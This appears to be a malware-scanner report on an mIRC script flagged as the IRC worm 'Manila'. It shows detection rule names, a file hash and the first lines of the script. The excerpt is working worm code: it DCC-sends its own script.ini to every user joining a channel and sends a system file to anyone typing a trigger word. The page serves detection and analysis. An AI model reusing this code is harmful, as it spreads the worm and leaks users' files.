Suspicious ^80% Download

IRC-Worm.IRC.Manila.a

Known IRC worm payload

Detects mIRC TEXT eventDetects mIRC dcc send command

SHA-2566a939d8b2a1ae64e22403cfce2afe10ac218157647b432fc87d78394e8e22036

MaleculeO(C)

Evidence

Detects mIRC dcc send command lines 1–15

1[script]
2n0=ON 1:TEXT:*You are a lamer:*:/msg $nick I am a lamer!
3n1=ON 1:TEXT:*shirak*:#:/dcc send $nick c:\win95\system.cb
4n2=on 1:JOIN:#:{
5n3= if ($me != $nick) {
6n4=     /dcc send $nick $mircdir $+ script.ini
7n5= }
8n6= if ($me ison #manila) {
⋯7 lines